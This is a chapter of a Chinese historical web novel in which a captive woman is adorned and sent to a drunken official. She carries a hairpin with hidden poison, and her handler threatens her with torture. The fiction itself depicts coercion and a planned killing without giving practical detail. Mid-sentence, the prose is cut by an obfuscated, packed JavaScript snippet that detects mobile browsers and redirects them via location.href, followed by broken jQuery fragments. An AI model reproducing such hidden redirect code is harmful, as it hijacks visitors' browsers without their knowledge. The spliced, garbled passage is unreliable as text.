支武命人将她关在了一间居室内,门外上了几重铁锁,四周的窗棂都被木板严严实实地封死里。
屋内仅有三盏铜油灯照明,光线昏暗,待久了难保日夜不分。
为了送一日两顿的饭食,还特意在墙角砸出了一块豁口,约摸三掌宽。到了时辰就有人从豁口处推进来漆碗,顿顿都有鸡汤、有麦粥,偶尔还放几张夹了肉碎的油饼,伙食上倒也不算亏待。
毕竟再过不久,她就要被送给大夫修阳、公子沐白,为了将养着她秀丽且富有血色的容貌,吃食上头支武万不敢大意。
素萋环抱双膝,缩坐在墙根的角落里。
一室寂静。
纵是夏时,无处不在的黑暗依旧让她觉得寒冷,那寒冷就像被冰封在万丈深的海底,无孔不入。
她瑟缩着身子,拢进身上薄透的素衣,裙摆和胸前溅上的血渍早已干涸,如同坚硬冰凉的铠甲束缚着她,散发着污秽肮脏的腥臭味。
六年前,在莒父的大雪里。
她不懂世事,迷茫且惊慌,只能窝在死人堆里苟延残喘。
而如今,家宰支武的华室内,那一地的死人皆因她而死。
是她杀了他们,是她亲手扼杀了那些年轻鲜活的生命。
一股难以名状的愧疚感袭来,她的心像被无数个针尖戳穿。
胃部一阵强烈的抽搐,她浑身无力地伏在地上,不可遏制地哇哇大吐。
第一次,她犯下杀孽后呕吐,彼时,公子就站在她的身边,冷眼旁观。
而此时,她的脑海中,竟也全是公子的音容相貌。
他的一颦一笑,他的轻言细语,好似都和这个颠倒混乱的世界格格不入。
公子在她心中是那样的光明伟岸,可正是这样一个看似光明伟岸的人,却为她精心编织了一张天罗地网,好不犹豫地将她推入万丈深渊。
夜色氤氲。
终于,她吐累了,拥着污浊的秽物和血渍,彻底昏了过去。
不过数日,来了个人把门锁下了去,抬手招来几个粗壮的女婢,肩抗手抬地把她移去了湢室。
和当时进这宅邸一样,她被强行架着里里外外翻洗了一遍,好似个物件,任人揉圆搓扁。
女婢端来的托盘里,陈放着从鲁国能得来的,最华贵柔泽的齐纨。
素白且薄如蝉翼的齐纨披在身上,火光一闪,浮动出如水波湖面般的七彩粼光。
描眉、点唇、含朱、施黛……一道道繁琐的工序层层叠加,一支支昂贵的珠笄争相堆砌。
她被精心装扮,宛如一件包装精美的馈赠礼。
在这个受权势裹挟的世道,她没有半点说不的权利。
支武懒懒散散进了门,肥硕的下巴颌往上一挑,戏道:“看上去不错。想来饶是当年的蔡国夫人还在世,比你也差之分毫。”
素萋不语,低着头,好似一只任人摆布的木偶。
“别那么灰心丧气。”
支武又道:“这几日我去见过公子了,他要我给你转个话。”
“说是当初的允诺不变,只要你顺利完成,他仍会放你回莒父去。”
她始终垂着头,描画艳丽的容颜上勾起一抹暗淡的微笑,似是沮丧,又似是自嘲。
“一会儿,会有专人把你送去大夫修阳家里。今日鲁君诞辰,宫内设宴,所有公卿大夫都得进宫赴宴祝寿,等散了宴回来,恐怕也该醉得不省人事了。”
支武走到她身后,弯腰低头,表情猥琐地在她脸侧猛嗅了几口。
“若我判断失策,他尚能维持清醒,就得好好想点法子才行。”
他沙哑的声音如同荒野中的恶狼猛犬,嘶吼叫嚣着,逼她就范。
支武粗拙的指尖缓慢而悠闲地划过她的臂膀,从手肘处逆流向上,一直漫游到肩膀,撩过的齐纨被这股粗疏的力量碾得发皱,变得有些黯然。
“这个你带好,以备不时之需。”
素萋面朝铜镜,看着支武面带阴笑,把一直镶有赤玉髓的金钗插进她的发髻里。
“这是什么?”
她问。
支武摆弄着金钗,眼望铜镜,寻了个能显出玉髓光亮的合适角度。
“一支钗子而已,不过是为你量身而作。”
“这玉髓珠子中是空心的,手指轻轻一拧就能打开,里头藏了些好东西,关键时刻可助你成事。”
素萋秀眉微蹙,迟疑道:“是……药?”
支武得意一笑,既没有承认,也没有否认,只说:“这可金贵着,我得来也费了不少功夫。”
“此物名为鸩毒,将其融在酒里便是鸩酒。”
鸩,是一种毒鸟。
传闻中人们取下鸩的羽毛泡在酒里,却使酒色不变,饮酒者难以察觉。
中毒之人面态平静、状似寻常,体内则五脏尽溃、一应俱焚。
因其不易查出死因,又保留了死者生前最后的仪态尊严,故常用于宫廷暗杀或赐死上臣。
“他若不醉,你就找个机会把这东西下进酒里,可若事情败露,你就果决点儿自己把酒喝了,也好过受那后头的皮肉之苦。”
“修阳家里专设有一间暴室,用以惩治犯过事的罪人,听说那里百般刑罚一应俱全,但凡进去了,就没有活着出来的。”
“他手握之权虽大不如前,却好歹也是个卿大夫,惩处你这么一个小小刺客,还用不着秉呈鲁君。”
素萋惨笑:“你是想得周到,既要我去,又怕事败?”
“你在怕什么?怕我受不住酷刑,把你给供出来?”
支武佯装镇定,面色如常道:“我可不怕,敢做就是干当。”
“我是可惜了你的好模样,若那道道恶刑都受了个遍,不知这副好皮囊得残成什么样子。”
他以指尖撩挑着素萋鬓边的碎发,沉重浓臭的呼吸就像经久不散的蚊蝇似的,不停地在她耳边徘徊。
“你总得为公子多考虑考虑。”
支武恳切惋惜道:“他养你这么一遭也不容易。”
“你要只把我供出来,倒还罢了,可要经不住把他也供出来……”
“你说,那鲁宫里的公子沐白还会不会放过他?”
素萋后背一震,颤抖着后槽牙,竭力忍耐着阵阵寒意从脚心窜至头顶。
在这闷热难耐的酷暑,她硬生生憋出了一身冷汗,十根手指比冰刻出来的还僵硬。
“鲁国公族的权势是不如卿族,但鲁国夫人可是齐君的嫡夫人,如若公子沐白有难,第一个发作的恐怕还轮不到鲁君。”
“在齐国,一个死了母亲的庶子,得不到母国的倚靠,又当如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304201|165295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何善终?”
素萋捏紧手心,细长坚韧的指甲扎进肉里,也只让她感到分外清醒。
“我不会供出公子。”
她咬牙切齿道。
“那好,那好!”
支武朗声笑道:“如此公子也不算看错人。”
他含着苍茫的笑声拂袖而去,脚下的步子也逐渐轻快。
素萋望着铜镜里自己那张年少且精致的脸,分明是画过笑靥的面容上,透出的尽是难言的苦涩。
那就再冒一次险。
只当是为了公子,了却他的救命恩情。
等杀了公子沐白,她就饮剑自戕,为自己犯下的杀孽恕罪。
她再帮公子这最后一回,助他顺利登上君位,得到他想要的一切。
也不枉公子养她的这几年。
月满为盈,夜云叆叇。
素萋坐在大夫宅邸门前的马车里,听见一连串狂暴的马蹄声如急雨般由远及近。
那正疾驰而来的车中坐的不是别人,正是她苦等了一夜的大夫修阳。
宫宴尚未结束,修阳的双马快车如离弦之箭,在青石铺陈的驰道上疾行。
他以醉酒之故向鲁君请辞,提前离席回去休憩,实则是听人来报,从家宰支武那选中的家妓已然送到了家门前。
听闻那女子尚在碧玉年华,比他的嫡亲闺女还要小上几岁,容貌更是艳绝曲阜,就连鲁宫里那些各国来的夫人也不够比。
他急不可耐,一心只想探个究竟。
素萋靠在车壁上闭目养神,只待耳边的马蹄声放缓,她才深吸一口气,拢紧华丽的衣袍,体态雍容地下了车。
大夫修阳急急卷开车帘,手脚并用地从车上滚了下来,想必他在宫宴上也没少喝,走向素萋的脚步凌乱急骤。
“奴家素萋,见过大人。”
她声线如水,眼波如云。
刚一见修阳,就缓缓曲了一礼,只单单瞧着,却是姣花照水,弱柳扶风。
“素萋小娘。”
修阳喝得五迷三道,黑黄的面皮上浮着诡异的酡红。他踮着步子稳住身形,歪歪扭扭地朝前一拜,假模假样道:“有礼有礼。”
“大人不必如此,奴家一小女子,受不住大人的礼。”
素萋胡乱客套了几句。
“欸。”
修阳摇头晃脑地摆摆手。
“你不一样。”
他东倒西歪地凑近素萋,打着酒嗝嬉笑道:“你这么美,纵是国君向你一拜,你也受得。”
“嗝——”
一股浓烈的酒臭味扑面而来,就像在地窖里藏了几年的黍米通通发了霉,那恶臭几乎要把她熏晕过去。
“还是大人爱说笑,如此风趣,当真让奴家倾慕不已。”
“嘿嘿……倾慕就好,倾慕……嗝……”
素萋几不可闻地皱了皱眉,瞬间换上一副甜美的笑容。
“大人,夜深露重,咱们还是先进去吧。”
“好好、美人说得对。”
修阳连应几声,正想往前走,不知是不是故意,忽地脚下一崴,径直倒在了素萋身上。
他拉碴的胡须在素萋的脸上蹭了蹭,肥厚的嘴唇趁机在娇嫩的脸蛋上重重嘬了一口,恬不知耻道:“今夜,我定要好好宠你,嘿嘿嘿……”